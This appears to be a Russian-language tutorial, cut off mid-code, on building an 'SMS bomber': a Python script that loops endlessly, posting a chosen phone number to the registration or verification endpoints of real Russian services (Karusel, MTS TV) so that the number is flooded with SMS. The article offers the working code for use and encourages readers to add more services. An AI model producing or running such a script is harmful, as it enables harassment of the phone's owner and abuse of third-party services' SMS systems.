Работа СМС-Бомбера я опишу кратко, да и ничего сложного тут нет. Как я думаю вы знаете, в интернете есть много сервисов, которые отправляют SMS на указанный номер для подтверждения. А что если это будет оптимизировано программно, а так же сервис будет не один?
Принцип работы:
Мы делаем запрос на сайт, в форму регистрации вставляем номер телефона. На номер приходит SMS.
Но думаю вам понятно, что SMS не могут приходить каждую секунду постоянно, т.к сервер просто не успеет обработать ваши запросы. Ну что же, давайте перейдем к практике.
Переходим к написанию кода. Я буду использовать язык Python3.
Если нет python, скачать можете тут.
Нам нужны специальные библиотеки
Если нет библиотеки у вас, то нажимаем win+r и пишем pip install "ваш модуль" Например : pip install requests
Для работы приложения вам понадобится Python3.7 и модули:
-requests
-os
-sys
-argparse
не все модули вам понадобятся для этой программы, но все же я советую вам их установить.
2.Написание кода
Для начала нам нужно импортировать нужную библиотеку "requests":
Я думаю не надо объяснять ее функционал если не знаете, можете посмотреть на этом сайте. Здесь мы в переменную “phone” записываем номер, на которых хотим отправить SMS. Тут мы заводим переменную “phone9”, в которой введенный номер будет выглядеть так: xxx-xxx-xx-xx (иногда нужно учитывать особенности ввода номера на сайте).
Пройдемся по строкам:
While True: - это постоянный цикл
Try: и Except: - обработчики ошибок, чтобы наша программа при какой-либо ошибке не прекращала работу.
Requests.post – это метод запросов, при котором мы передаем какие-либо значения (в нашем случае номер телефона) сайту.
Data={} – это элемент запроса, в котором собственно и находится номер.
Вы также можете сами добавлять сервисы, их достаточно много и легко найти. Если вам понравилась эта статья, дайте мне знать и выйдет новая, с большим числом сервисов и оптимизированным кодом.
Весь код:
import requests
phone = input('Введите номер на который придет СМС (7xxxxxxxxxx---->')
phone9 = phone[1:]
while True:
try:
requests.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}, headers={})
print('[+] Karusel отправлено!')
except:
print('[-] Не отправлено!')
try:
requests.post('https://api.mtstv.ru/v1/users', json={'msisdn': phone}, headers={})
print('[+] MTS отправлено!')
except: